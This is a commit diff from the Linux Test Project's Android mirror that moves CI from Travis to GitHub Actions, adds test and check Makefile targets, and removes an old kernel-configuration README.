syscall01: use 32bit syscalls if available am: 2bea892dbf am: 697a1476a3 am: b8999d4f0b am: 50735bdffb

Original change: https://android-review.googlesource.com/c/platform/external/ltp/+/2528105

Change-Id: I3ef462bc1271d34d4995e5abd65b31b7363c2c81
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
new file mode 100644
index 0000000..db41870
--- /dev/null
+++ b/.github/pull_request_template.md
@@ -0,0 +1,6 @@
+Although we *occasionally* also accept GitHub pull requests, the *preferred* way is sending patches to our mailing list: https://lore.kernel.org/ltp/
+
+There is an example how to use it: https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial#7-submitting-the-test-for-review (using git format-patch and git send-email).
+
+LTP mailing list is archived at: https://lore.kernel.org/ltp/.
+We also have a patchwork instance: https://patchwork.ozlabs.org/project/ltp/list/.
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
new file mode 100644
index 0000000..a412f89
--- /dev/null
+++ b/.github/workflows/ci.yml
@@ -0,0 +1,160 @@
+# Copyright (c) 2021 Petr Vorel <pvorel@suse.cz>
+
+name: "CI: docker based builds"
+on: [push, pull_request]
+
+jobs:
+  job:
+    runs-on: ubuntu-latest
+
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          # 32bit build
+          - container: "debian:stable"
+            env:
+              CC: gcc
+              VARIANT: i386
+
+          # cross compilation builds
+          - container: "debian:stable"
+            env:
+              ARCH: ppc64el
+              CC: powerpc64le-linux-gnu-gcc
+              MAKE_INSTALL: 1
+              TREE: out
+              VARIANT: cross-compile
+
+          - container: "debian:stable"
+            env:
+              ARCH: arm64
+              CC: aarch64-linux-gnu-gcc
+              MAKE_INSTALL: 1
+              TREE: out
+              VARIANT: cross-compile
+
+          - container: "debian:stable"
+            env:
+              ARCH: s390x
+              CC: s390x-linux-gnu-gcc
+              MAKE_INSTALL: 1
+              TREE: out
+              VARIANT: cross-compile
+
+          # musl (native)
+          - container: "alpine:latest"
+            env:
+              CC: gcc
+              METADATA: asciidoctor
+
+          # build with minimal dependencies
+          - container: "debian:stable"
+            env:
+              CC: gcc
+              TREE: out
+              VARIANT: minimal
+
+          # other builds
+          - container: "fedora:latest"
+            env:
+              CC: clang
+              MAKE_INSTALL: 1
+              METADATA: asciidoctor-pdf
+
+          - container: "centos:7"
+            env:
+              CC: gcc
+              METADATA: asciidoc-pdf
+              TREE: out
+
+          - container: "debian:testing"
+            env:
+              CC: gcc
+              METADATA: asciidoctor-pdf
+
+          - container: "debian:oldstable"
+            env:
+              CC: clang
+              METADATA: asciidoc-pdf
+
+          - container: "opensuse/leap"
+            env:
+              CC: gcc
+              METADATA: asciidoc-pdf
+
+          - container: "debian:oldstable"
+            env:
+              CC: gcc
+              METADATA: asciidoctor
+
+          - container: "debian:testing"
+            env:
+              CC: clang
+              METADATA: asciidoctor-pdf
+
+          - container: "ubuntu:jammy"
+            env:
+              CC: gcc
+              METADATA: asciidoctor
+              TREE: out
+
+          - container: "ubuntu:bionic"
+            env:
+              CC: gcc
+              METADATA: asciidoc-pdf
+
+    container:
+      image: ${{ matrix.container }}
+      env: ${{ matrix.env }}
+      options: --security-opt seccomp=unconfined
+
+    steps:
+    - name: Show OS
+      run: cat /etc/os-release
+
+    - name: Git checkout
+      uses: actions/checkout@v1
+
+    - name: Install additional packages
+      run: |
+        INSTALL=${{ matrix.container }}
+        INSTALL="${INSTALL%%:*}"
+        INSTALL="${INSTALL%%/*}"
+        ./ci/$INSTALL.sh
+        if [ "$VARIANT" ]; then ./ci/$INSTALL.$VARIANT.sh; fi
+
+    - name: Compiler version
+      run: $CC --version
+
+    - name: ver_linux
+      run: ./ver_linux
+
+    - name: Autotools
+      run: ./build.sh -r autotools
+
+    - name: Configure
+      run: |
+        if [ "$METADATA" = "asciidoc-pdf" ]; then CONFIGURE_OPT_EXTRA="--with-metadata-generator=asciidoc --enable-metadata-pdf"; fi
+        if [ "$METADATA" = "asciidoctor" ]; then CONFIGURE_OPT_EXTRA="--with-metadata-generator=asciidoctor"; fi
+        if [ "$METADATA" = "asciidoctor-pdf" ]; then CONFIGURE_OPT_EXTRA="--with-metadata-generator=asciidoctor --enable-metadata-pdf"; fi
+        case "$VARIANT" in cross-compile*) BUILD="cross";; i386) BUILD="32";; *) BUILD="native";; esac
+        CONFIGURE_OPT_EXTRA="$CONFIGURE_OPT_EXTRA" ./build.sh -r configure -o ${TREE:-in} -t $BUILD -c $CC
+
+    - name: Compile
+      run: ./build.sh -r build -o ${TREE:-in}
+
+    - name: Test C API
+      run: |
+        case "$VARIANT" in cross-compile*) BUILD="cross";; i386) BUILD="32";; *) BUILD="native";; esac
+        ./build.sh -r test-c -o ${TREE:-in} -t $BUILD
+
+    - name: Test shell API
+      run: |
+        case "$VARIANT" in cross-compile*) BUILD="cross";; i386) BUILD="32";; *) BUILD="native";; esac
+        ./build.sh -r test-shell -o ${TREE:-in} -t $BUILD
+
+    - name: Install
+      run: |
+        if [ "$MAKE_INSTALL" = 1 ]; then INSTALL_OPT="-i"; fi
+        ./build.sh -r install -o ${TREE:-in} $INSTALL_OPT
diff --git a/.github/workflows/wiki-mirror.yml b/.github/workflows/wiki-mirror.yml
new file mode 100644
index 0000000..d2e4341
--- /dev/null
+++ b/.github/workflows/wiki-mirror.yml
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2021
+
+name: "Mirror doc to wiki"
+
+on:
+  push:
+    branches:
+      - master
+
+jobs:
+  mirror:
+    runs-on: ubuntu-latest
+    if: ${{ github.repository == 'linux-test-project/ltp' }}
+    steps:
+      - name: Checkout LTP
+        uses: actions/checkout@v2
+        with:
+          path: ltp
+
+      - name: Checkout LTP wiki
+        uses: actions/checkout@v2
+        with:
+          repository: "linux-test-project/ltp.wiki"
+          path: ltp.wiki
+
+      - name: Copy files, push
+        run: |
+          git config --global user.email "actions@github.com"
+          git config --global user.name "Wiki mirror"
+
+          dir="$GITHUB_WORKSPACE/ltp/doc/"
+          cd $dir
+          commit=$(git log --pretty=format:"%h (\"%s\")" -1 .)
+
+          cd $GITHUB_WORKSPACE/ltp.wiki
+
+          # Don't forget to update this list, keep it sorted
+          cp -v $dir/c-test-api.txt C-Test-API.asciidoc
+          cp -v $dir/c-test-tutorial-simple.txt C-Test-Case-Tutorial.asciidoc
+          cp -v $dir/library-api-writing-guidelines.txt LTP-Library-API-Writing-Guidelines.asciidoc
+          cp -v $dir/maintainer-patch-review-checklist.txt Maintainer-Patch-Review-Checklist.asciidoc
+          cp -v $dir/network-c-api.txt C-Test-Network-API.asciidoc
+          cp -v $dir/shell-test-api.txt Shell-Test-API.asciidoc
+          cp -v $dir/supported-kernel-libc-versions.txt Supported-kernel,-libc,-toolchain-versions.asciidoc
+          cp -v $dir/test-writing-guidelines.txt Test-Writing-Guidelines.asciidoc
+          cp -v $dir/user-guide.txt User-Guidelines.asciidoc
+          cp -v $dir/kvm-test-api.txt KVM-Test-API.asciidoc
+
+          git add .
+          # only commit if there are changes
+          git diff-index --quiet HEAD -- || git commit -m "Update to $commit" .
+          git push
diff --git a/.gitignore b/.gitignore
index 213ff20..335c338 100644
--- a/.gitignore
+++ b/.gitignore
@@ -46,7 +46,6 @@
 /lib/ltp.pc
 /pan/ltp-bump
 /pan/ltp-pan
-/pan/ltp-scanner
 
 cscope.*
 ncscope.*
diff --git a/.mailmap b/.mailmap
new file mode 100644
index 0000000..6c4b8da
--- /dev/null
+++ b/.mailmap
@@ -0,0 +1,2 @@
+Petr Vorel <pvorel@suse.cz> <petr.vorel@gmail.com>
+Petr Vorel <pvorel@suse.cz> <pevik@users.noreply.github.com>
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100644
index 5d759da..0000000
--- a/.travis.yml
+++ /dev/null
@@ -1,131 +0,0 @@
-# Copyright (c) 2017-2021 Petr Vorel <pvorel@suse.cz>
-
-dist: bionic
-sudo: required
-language: c
-services:
-    - docker
-
-matrix:
-    include:
-        # 32 bit build
-        - os: linux
-          env: DISTRO=debian:stable VARIANT=i386
-          compiler: gcc
-
-        # cross compilation builds
-        - os: linux
-          env: DISTRO=debian:stable VARIANT=cross-compile ARCH=ppc64el TREE=out MAKE_INSTALL=1
-          compiler: powerpc64le-linux-gnu-gcc
-
-        - os: linux
-          env: DISTRO=debian:stable VARIANT=cross-compile ARCH=arm64 TREE=out
-          compiler: aarch64-linux-gnu-gcc
-
-        - os: linux
-          env: DISTRO=debian:stable VARIANT=cross-compile ARCH=s390x TREE=out
-          compiler: s390x-linux-gnu-gcc
-
-        # musl (native)
-        - os: linux
-          # Message: WARNING: xsltproc: cannot process http://docbook.sourceforge.net/release/xsl-ns/current/manpages/docbook.xsl
-          # doc/meson.build:70:1: ERROR: Problem encountered: Docs cannot be built: xsltproc does not work correctly
-          env: DISTRO=alpine:latest METADATA=asciidoctor
-          compiler: gcc
-
-        # build with minimal dependencies
-        - os: linux
-          env: DISTRO=debian:stable VARIANT=minimal TREE=out
-          compiler: clang
-
-        # other builds
-        - os: linux
-          env: DISTRO=fedora:latest MAKE_INSTALL=1 CONTAINER=podman METADATA=asciidoctor-pdf
-          compiler: clang
-
-        - os: linux
-          env: DISTRO=centos:7 TREE=out METADATA=asciidoc-pdf
-          compiler: gcc
-
-        - os: linux
-          env: DISTRO=debian:testing METADATA=asciidoctor-pdf
-          compiler: gcc
-
-        - os: linux
-          env: DISTRO=debian:oldstable METADATA=asciidoc-pdf
-          compiler: clang
-
-        - os: linux
-          env: DISTRO=opensuse/tumbleweed CONTAINER=podman METADATA=asciidoctor
-          compiler: gcc
-
-        - os: linux
-          env: DISTRO=opensuse/leap METADATA=asciidoc-pdf
-          compiler: gcc
-
-        - os: linux
-          env: DISTRO=debian:oldstable METADATA=asciidoctor
-          compiler: gcc
-
-        - os: linux
-          env: DISTRO=debian:testing METADATA=asciidoc-pdf
-          compiler: clang
-
-        - os: linux
-          env: DISTRO=ubuntu:groovy TREE=out METADATA=asciidoctor
-          compiler: gcc
-
-        - os: linux
-          env: DISTRO=ubuntu:xenial METADATA=asciidoc-pdf
-          compiler: gcc
-
-        - os: linux
-          env: DISTRO=centos:latest METADATA=asciidoctor
-          compiler: gcc
-
-before_install:
-    - CONTAINER="${CONTAINER:-docker}"
-    # distros with glibc >=2.33 require podman and newest runc due docker faccessat2 incompatibility
-    - >
-        if [ "$CONTAINER" = "podman" ]; then
-            # podman
-            CONTAINER_ARGS="--runtime=/usr/bin/runc"
-            . /etc/os-release
-            sudo sh -c "echo 'deb http://download.opensuse.org/repositories/devel:/kubic:/libcontainers:/stable/xUbuntu_${VERSION_ID}/ /' > /etc/apt/sources.list.d/devel:kubic:libcontainers:stable.list"
-            wget -nv https://download.opensuse.org/repositories/devel:kubic:libcontainers:stable/xUbuntu_${VERSION_ID}/Release.key -O- | sudo apt-key add -
-            sudo apt update
-            sudo apt -y install podman slirp4netns
-
-            # runc
-            sudo curl -L https://github.com/opencontainers/runc/releases/download/v1.0.0-rc93/runc.amd64 -o /usr/bin/runc
-            sudo chmod +x /usr/bin/runc
-        fi
-
-    # Docker Hub pull rate limit workaround for docker
-    - >
-        if [ "$CONTAINER" = "docker" ]; then
-            conf="/etc/docker/daemon.json"
-            tmp=$(mktemp)
-            sudo jq '."registry-mirrors" += ["https://mirror.gcr.io"]' $conf > $tmp
-            sudo mv $tmp $conf
-            sudo systemctl daemon-reload
-            sudo systemctl restart docker
-        fi
-    - $CONTAINER info
-
-    # ltp
-    - DIR="/usr/src/ltp"
-    - printf "FROM $DISTRO\nRUN mkdir -p $DIR\nWORKDIR $DIR\nCOPY . $DIR\n" > Dockerfile
-    - cat Dockerfile
-    - $CONTAINER build $CONTAINER_ARGS -t ltp .
-
-script:
-    - INSTALL="${DISTRO%%:*}"
-    - INSTALL="${INSTALL%%/*}"
-    - if [ "$MAKE_INSTALL" = 1 ]; then INSTALL_OPT="-i"; fi
-    - if [ "$METADATA" = "asciidoc-pdf" ]; then CONFIGURE_OPT_EXTRA="--with-metadata-generator=asciidoc --enable-metadata-pdf"; fi
-    - if [ "$METADATA" = "asciidoctor" ]; then CONFIGURE_OPT_EXTRA="--with-metadata-generator=asciidoctor"; fi
-    - if [ "$METADATA" = "asciidoctor-pdf" ]; then CONFIGURE_OPT_EXTRA="--with-metadata-generator=asciidoctor --enable-metadata-pdf"; fi
-    - if [ ! "$TREE" ]; then TREE="in"; fi
-    - case $VARIANT in cross-compile*) BUILD="cross";; i386) BUILD="32";; *) BUILD="native";; esac
-    - $CONTAINER run $CONTAINER_ARGS -t ltp /bin/sh -c "cd travis && ./$INSTALL.sh && if [ \"$VARIANT\" ]; then ARCH=\"$ARCH\" ./$INSTALL.$VARIANT.sh; fi && CONFIGURE_OPT_EXTRA=\"$CONFIGURE_OPT_EXTRA\" ../build.sh -o $TREE -t $BUILD -c $CC $INSTALL_OPT"
diff --git a/Android.bp b/Android.bp
index 03821b6..df0552a 100644
--- a/Android.bp
+++ b/Android.bp
@@ -141,6 +141,7 @@
     name: "ltp_test_defaults",
     defaults: ["ltp_defaults"],
     gtest: false,
+    cflags: ["-Wno-gnu-variable-sized-type-not-at-end"],
     no_named_install_directory: true,
     relative_install_path: "ltp/testcases/bin",
 }
diff --git a/INSTALL b/INSTALL
index 52d6110..eb63539 100644
--- a/INSTALL
+++ b/INSTALL
@@ -8,16 +8,16 @@
 
 	# apt install gcc git make pkgconf autoconf automake bison flex m4 linux-headers-$(uname -r) libc6-dev
 
-OpenSUSE / SLES
+openSUSE / SLES
 
-	# zypper install gcc git make pkgconf autoconf automake bison flex m4 linux-glibc-devel glibc-devel
+	# zypper install gcc git make pkg-config autoconf automake bison flex m4 linux-glibc-devel glibc-devel
 
 Fedora / CentOS / RHEL
 
 	# yum install gcc git make pkgconf autoconf automake bison flex m4 kernel-headers glibc-headers
 
 These are minimal build requirements for git compilation. Some tests require
-extra development files of some libraries, see travis/*.sh. There is also
+extra development files of some libraries, see ci/*.sh. There is also
 support for other Linux distributions not listed here.
 
 autoconf, automake, m4 (autoconf requirement), git and pkgconf (or pkg-config
@@ -27,8 +27,6 @@
 pkgconf is recommended also for compilation from tarball as it
 does automatic detection of some library support.
 
-GNU Bison / Berkeley Yacc is required for ltp-scanner.
-
 Configuration
 -------------
 
diff --git a/LICENSE b/LICENSE
new file mode 120000
index 0000000..d24842f
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1 @@
+COPYING
\ No newline at end of file
diff --git a/Makefile b/Makefile
index 56812d7..d4399ba 100644
--- a/Makefile
+++ b/Makefile
@@ -62,10 +62,7 @@
 endif
 endef
 
-COMMON_TARGETS		+= testcases tools
-ifeq ($(WITH_METADATA),yes)
-COMMON_TARGETS		+= docparse
-endif
+COMMON_TARGETS		+= testcases tools metadata
 
 # Don't want to nuke the original files if we're installing in-build-tree.
 ifneq ($(BUILD_TREE_STATE),$(BUILD_TREE_SRCDIR_INSTALL))
@@ -79,6 +76,7 @@
 CLEAN_TARGETS		:= $(addsuffix -clean,$(CLEAN_TARGETS))
 INSTALL_TARGETS		:= $(addsuffix -install,$(INSTALL_TARGETS))
 MAKE_TARGETS		:= $(addsuffix -all,$(filter-out lib,$(COMMON_TARGETS)))
+CHECK_TARGETS		:= $(addsuffix -check,testcases lib)
 
 # There's no reason why we should run `all' twice. Otherwise we're just wasting
 # 3+ mins of useful CPU cycles on a modern machine, and even more time on an
@@ -108,6 +106,10 @@
 	$(MAKE) -C "$(subst -all,,$@)" \
 		-f "$(abs_top_srcdir)/$(subst -all,,$@)/Makefile" all
 
+$(CHECK_TARGETS): tools-all
+	$(MAKE) -C "$(subst -check,,$@)" \
+		-f "$(abs_top_srcdir)/$(subst -check,,$@)/Makefile" check
+
 # Let's not conflict with ac-clean, maintainer-clean, etc, so.
 $(filter-out include-clean,$(CLEAN_TARGETS))::
 	-$(MAKE) -C "$(subst -clean,,$@)" \
@@ -189,9 +191,39 @@
 
 $(INSTALL_TARGETS): $(INSTALL_DIR) $(DESTDIR)/$(bindir)
 
+.PHONY: check
+check: $(CHECK_TARGETS)
+
 ## Install
 install: $(INSTALL_TARGETS)
 
+## Test
+define _test
+	@set -e; $(top_srcdir)/lib/newlib_tests/runtest.sh -b $(abs_builddir) $(1)
+endef
+
+test: lib-all
+ifneq ($(build),$(host))
+	$(error running tests on cross-compile build not supported)
+endif
+	$(call _test)
+	$(MAKE) test-metadata
+
+test-c: lib-all
+ifneq ($(build),$(host))
+	$(error running tests on cross-compile build not supported)
+endif
+	$(call _test,-c)
+
+test-shell: lib-all
+ifneq ($(build),$(host))
+	$(error running tests on cross-compile build not supported)
+endif
+	$(call _test,-s)
+
+test-metadata: metadata-all
+	$(MAKE) -C $(abs_srcdir)/metadata/ test
+
 ## Help
 .PHONY: help
 help:
diff --git a/OWNERS b/OWNERS
index 42bc099..47b8b86 100644
--- a/OWNERS
+++ b/OWNERS
@@ -1,5 +1,4 @@
 adelva@google.com
 balsini@google.com
 edliaw@google.com
-smuckle@google.com
-sspatil@google.com
+bettyzhou@google.com
diff --git a/README.kernel_config b/README.kernel_config
deleted file mode 100644
index 547dd4f..0000000
--- a/README.kernel_config
+++ /dev/null
@@ -1,301 +0,0 @@
----------------------------------
-Enable CODE COVERAGE for your Kernel:
----------------------------------
-1) Apply kernel-gcov patch(s) against the corresponding Kernel. They are available here:
-http://ltp.cvs.sourceforge.net/viewvc/ltp/utils/analysis/gcov-kernel/linux-2.*.*-gcov.patch?view=log,
-2) Also enable the following options in your .config file before building the kernel
-CONFIG_GCOV_PROFILE=y
-CONFIG_GCOV_ALL=y
-CONFIG_GCOV_PROC=m
-CONFIG_GCOV_HAMMER=y
-
----------------------------------
-Enabling Kernel Configuration to test Containers/Namespaces
----------------------------------
-CONFIG_NAMESPACES=y
-CONFIG_UTS_NS=y
-CONFIG_IPC_NS=y
-CONFIG_USER_NS=y
-CONFIG_PID_NS=y
-CONFIG_NET_NS=y
-CONFIG_VETH=y
-CONFIG_MACVLAN=y
-
-The IPC namespaces do not automatically enable IPC, so you may
-also want to have:
-
-CONFIG_SYSVIPC=y
-CONFIG_SYSVIPC_SYSCTL=y
-CONFIG_POSIX_MQUEUE=y
-
----------------------------------
-Enabling Kernel Configuration to test Controllers
----------------------------------
-CONFIG_CGROUPS=y
-CONFIG_CGROUP_DEBUG=y
-CONFIG_CGROUP_NS=y
-CONFIG_GROUP_SCHED=y
-CONFIG_FAIR_GROUP_SCHED=y
-CONFIG_RT_GROUP_SCHED=y
-CONFIG_CGROUP_SCHED=y
-CONFIG_CGROUP_MEM_RES_CTLR=y
-CONFIG_LOCKDEP=y
----------------------------------
-Enabling Kernel Configuration to test Power Management features
----------------------------------
-CONFIG_CPU_FREQ=y
-CONFIG_CPU_FREQ_TABLE=y
-CONFIG_CPU_FREQ_DEBUG=y
-CONFIG_CPU_FREQ_STAT=y
-CONFIG_CPU_FREQ_STAT_DETAILS=y
-CONFIG_CPU_IDLE=y
-CONFIG_CPU_IDLE_GOV_LADDER=y
-CONFIG_CPU_IDLE_GOV_MENU=y
-CONFIG_SCHED_MC=y
-CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y
-CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE=y
-CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y
-CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND=y
-CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE=y
-CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
-CONFIG_CPU_FREQ_GOV_POWERSAVE=y
-CONFIG_CPU_FREQ_GOV_USERSPACE=y
-CONFIG_CPU_FREQ_GOV_ONDEMAND=y
-CONFIG_CPU_FREQ_GOV_CONSERVATIVE=y
----------------------------------
-Enabling Kernel Configuration to test filecaps security feature
----------------------------------
-CONFIG_SECURITY_FILE_CAPABILITIES=y
----------------------------------
-Enabling Kernel Configuration to test SELinux security feature
----------------------------------
-Your Kernel should have been built with the following options to
-test SELinux:
-
-CONFIG_SECURITY=y
-CONFIG_SECURITY_NETWORK=y
-CONFIG_SECURITY_NETWORK_XFRM=y
-
-CONFIG_SECURITY_DEFAULT_MMAP_MIN_ADDR=0
-This has to be set to a positive value if you want to test this check.
-Fedora kernels set it to 65536.
-
-CONFIG_SECURITY_SELINUX=y
-CONFIG_SECURITY_SELINUX_BOOTPARAM=y
-CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=1
-CONFIG_SECURITY_SELINUX_DEVELOP=y
-CONFIG_SECURITY_SELINUX_AVC_STATS=y
-CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
-CONFIG_SECURITY_SELINUX_ENABLE_SECMARK_DEFAULT=y
-
-CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX=y
-You don't want this one unless you are running Fedora 3 or 4.
-On anything newer, it will cause unnecessary policy expansion.
-
-CONFIG_SECURITY_SMACK=y
-CONFIG_SECURITY_SELINUX=y
-
-By default, if you boot with multiple LSMs compiled into the kernel, the
-kernel won't boot succesfully - there can be only one (aside from
-explicit internal "stacking" e.g. as is done for combining SELinux or
-Smack with capabilities).  Unless you use the security= option to select
-one at boot.  SELinux and Smack will honor the security= option.
----------------------------------
----------------------------------
-Enabling Kernel Configuration to test SMACK security feature
----------------------------------
-CONFIG_NETLABEL=y
-CONFIG_SECURITY=y
-CONFIG_SECURITY_NETWORK=y
-CONFIG_SECURITY_SMACK=y
-CONFIG_SECURITY_SELINUX should not be set
-
-For more information to build/install/run these tests, look through:
-ltp/testcases/kernel/security/smack/README
----------------------------------
----------------------------------
-Enablement for Enhancement to kexec/kdump for implementing the following features:
-- Backup/restore memory used by the original kernel before/after kexec.
-- Save/restore CPU state before/after kexec.
-Now, only the i386 architecture is supported. More from the following git logs:
-http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=3ab83521378268044a448113c6aa9a9e245f4d2f,
-http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=89081d17f7bb81d89fa1aa9b70f821c5cf4d39e9,
----------------------------------
-CONFIG_X86_32=y
-CONFIG_RELOCATABLE=y
-CONFIG_KEXEC=y
-CONFIG_CRASH_DUMP=y
-CONFIG_PM=y
-CONFIG_HIBERNATION=y
-CONFIG_KEXEC_JUMP=y
----------------------------------
-Enabling HOTPLUG for your Kernels
----------------------------------
-CONFIG_HOTPLUG_CPU=y
-CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
-CONFIG_ACPI_HOTPLUG_CPU=y
-CONFIG_HOTPLUG_PCI_PCIE=y
-CONFIG_HOTPLUG_PCI=y
-CONFIG_HOTPLUG_PCI_FAKE=y
-CONFIG_HOTPLUG_PCI_COMPAQ=y
-CONFIG_HOTPLUG_PCI_COMPAQ_NVRAM=y
-CONFIG_HOTPLUG_PCI_IBM=y
-CONFIG_HOTPLUG_PCI_ACPI=y
-CONFIG_HOTPLUG_PCI_ACPI_IBM=y
-CONFIG_HOTPLUG_PCI_CPCI=y
-CONFIG_HOTPLUG_PCI_CPCI_ZT5550=y
-CONFIG_HOTPLUG_PCI_CPCI_GENERIC=y
-CONFIG_HOTPLUG_PCI_SHPC=y
----------------------------------
-Video For Linux Two API testing Requirements:
-You need to have a video device (i.e. webcam, tuner card, etc.) connected to your system and available under /dev/video0. If you don't have any hardware device available, you can still test the "Virtual Video Driver". To compile this you need to compile your kernel with CONFIG_VIDEO_VIVI=m under:
-  -> Device Drivers
-    -> Multimedia devices
-      -> Video For Linux
-        -> Video capture adapters
-         -> Virtual Video Driver
-
-The tests also require CUnit Framework to be installed before compiling the tests. Download & Install the same from:
-http://sourceforge.net/projects/cunit/
----------------------------------
----------------------------------
-Native language support (nls) testsuite requirements
-----------------------------------------------------
-CONFIG_NLS=m
-CONFIG_BLOCK=y
----------------------------------
-Enabling Controller area network (CAN) protocol support for your Kernels
----------------------------------
-CONFIG_NET=y
-CONFIG_CAN=m
-CONFIG_CAN_RAW=m
-CONFIG_CAN_BCM=m
-# CAN Device Drivers
-CONFIG_CAN_VCAN=m
----------------------------------
-Enabling Fault Injection Support for your kernel (version 2.6.29).
-Please check with the original kernel for the fault injection
-types it supports. Following supports will be available:
-
-/sys/kernel/debug/fail_io_timeout/interval
-/sys/kernel/debug/fail_io_timeout/probability
-/sys/kernel/debug/fail_io_timeout/reject-end
-/sys/kernel/debug/fail_io_timeout/reject-start
-/sys/kernel/debug/fail_io_timeout/require-end
-/sys/kernel/debug/fail_io_timeout/require-start
-/sys/kernel/debug/fail_io_timeout/space
-/sys/kernel/debug/fail_io_timeout/stacktrace-depth
-/sys/kernel/debug/fail_io_timeout/task-filter
-/sys/kernel/debug/fail_io_timeout/times
-/sys/kernel/debug/fail_io_timeout/verbose
-
-/sys/kernel/debug/fail_make_request/interval
-/sys/kernel/debug/fail_make_request/probability
-/sys/kernel/debug/fail_make_request/reject-end
-/sys/kernel/debug/fail_make_request/reject-start
-/sys/kernel/debug/fail_make_request/require-end
-/sys/kernel/debug/fail_make_request/require-start
-/sys/kernel/debug/fail_make_request/space
-/sys/kernel/debug/fail_make_request/stacktrace-depth
-/sys/kernel/debug/fail_make_request/task-filter
-/sys/kernel/debug/fail_make_request/times
-/sys/kernel/debug/fail_make_request/verbose
-
-/sys/kernel/debug/fail_page_alloc/ignore-gfp-highmem
-/sys/kernel/debug/fail_page_alloc/ignore-gfp-wait
-/sys/kernel/debug/fail_page_alloc/interval
-/sys/kernel/debug/fail_page_alloc/min-order
-/sys/kernel/debug/fail_page_alloc/probability
-/sys/kernel/debug/fail_page_alloc/reject-end
-/sys/kernel/debug/fail_page_alloc/reject-start
-/sys/kernel/debug/fail_page_alloc/require-end
-/sys/kernel/debug/fail_page_alloc/require-start
-/sys/kernel/debug/fail_page_alloc/space
-/sys/kernel/debug/fail_page_alloc/stacktrace-depth
-/sys/kernel/debug/fail_page_alloc/task-filter
-/sys/kernel/debug/fail_page_alloc/times
-/sys/kernel/debug/fail_page_alloc/verbose
-
-/sys/kernel/debug/failslab/ignore-gfp-wait
-/sys/kernel/debug/failslab/interval
-/sys/kernel/debug/failslab/probability
-/sys/kernel/debug/failslab/reject-end
-/sys/kernel/debug/failslab/reject-start
-/sys/kernel/debug/failslab/require-end
-/sys/kernel/debug/failslab/require-start
-/sys/kernel/debug/failslab/space
-/sys/kernel/debug/failslab/stacktrace-depth
-/sys/kernel/debug/failslab/task-filter
-/sys/kernel/debug/failslab/times
-/sys/kernel/debug/failslab/verbose
-
-when the below kernel config options are set:
-
-CONFIG_FAULT_INJECTION=y
-CONFIG_DEBUG_KERNEL=y
-CONFIG_FAILSLAB=y (Fault-injection capability for kmalloc)
-(CONFIG_SLAB=y || CONFIG_SLUB=y) if CONFIG_FAILSLAB=y
-CONFIG_FAIL_PAGE_ALLOC=y (Fault-injection capabilitiy for alloc_pages())
-CONFIG_FAIL_MAKE_REQUEST=y (Fault-injection capability for disk IO)
-CONFIG_BLOCK=y if CONFIG_FAIL_MAKE_REQUEST=y
-CONFIG_FAIL_IO_TIMEOUT=y (Faul-injection capability for faking disk interrupts)
-CONFIG_BLOCK=y if CONFIG_FAIL_IO_TIMEOUT=y
-CONFIG_FAULT_INJECTION_DEBUG_FS=y (Debugfs entries for fault-injection capabilities)
-(CONFIG_SYSFS=y && CONFIG_DEBUG_FS=y) if CONFIG_FAULT_INJECTION_DEBUG_FS=y
-CONFIG_FAULT_INJECTION_STACKTRACE_FILTER=y (stacktrace filter for fault-injection capabilities)
-(CONFIG_FAULT_INJECTION_DEBUG_FS=y && CONFIG_STACKTRACE_SUPPORT=y && !CONFIG_X86_64) if
-	CONFIG_FAULT_INJECTION_STACKTRACE_FILTER=y
-
-For more information on Fault injection, please refer to:
-linux-2.6/Documentation/fault-injection/fault-injection.txt,
-
-You should also have made the following entries in your /etc/fstab file
-once the kernel is booted with the above CONFIG options set:
-
-debugfs		/sys/kernel/debug/		debugfs
-
-# How the Kernel Fault Injection works for LTP ?
-
-1) Build Kernel with all the above possible kernel CONFIG Options,
-2) Create the above entry in /etc/fstab file,
-3) Reboot in the new kernel,
-4) Goto LTPROOT. Build and Install LTP as per ltp/INSTALL file,
-5) Choose your own test(or default) to run with fault injection as follows:
-	./runltp -f <command_file> -F <LOOPS>,<FAULT_PROBABILITY>
-
-The algorithm functions like:
-loop (for each testcase)
-begin
-	execute_testcase(inside_stable_kernel)
-	begin
-		insert_fault_into_kernel()
-		loop X Times
-		begin
-			execute_testcase(inside_fault_kernel)
-		end
-		restore_kernel_to_normal()
-	end
-end
-
-# External TODOs:
-1) Add or modify testcases when relevant kernel functionality changes.
----------------------------------
-
----------------------------------
-Enabling Kernel Configuration to test ext4 new features
----------------------------------
-CONFIG_EXT4_FS=y
-CONFIG_EXT4DEV_COMPAT=y
-CONFIG_EXT4_FS_XATTR=y
-CONFIG_EXT4_FS_POSIX_ACL=y
-CONFIG_EXT4_FS_SECURITY=y
-
-Beside that, the following packages are necessary.
-  e2fsprogs
-  e2fsprogs-devel
-  e2fsprogs-libs
-And the version of packages must be 1.41.4 or above.
-
-For more information to build/install/run these tests, look through:
-ltp/testcases/kernel/fs/ext4-new-features/README
----------------------------------
diff --git a/README.md b/README.md
index 56d10d4..d45d1ee 100644
--- a/README.md
+++ b/README.md
@@ -16,9 +16,12 @@
 The latest image is always available at:
 https://github.com/linux-test-project/ltp/releases
 
-The discussion about the project happens at ltp mailing list:
+The discussion about the project happens at LTP mailing list:
 http://lists.linux.it/listinfo/ltp
 
+LTP mailing list is archived at:
+https://lore.kernel.org/ltp/
+
 The git repository is located at GitHub at:
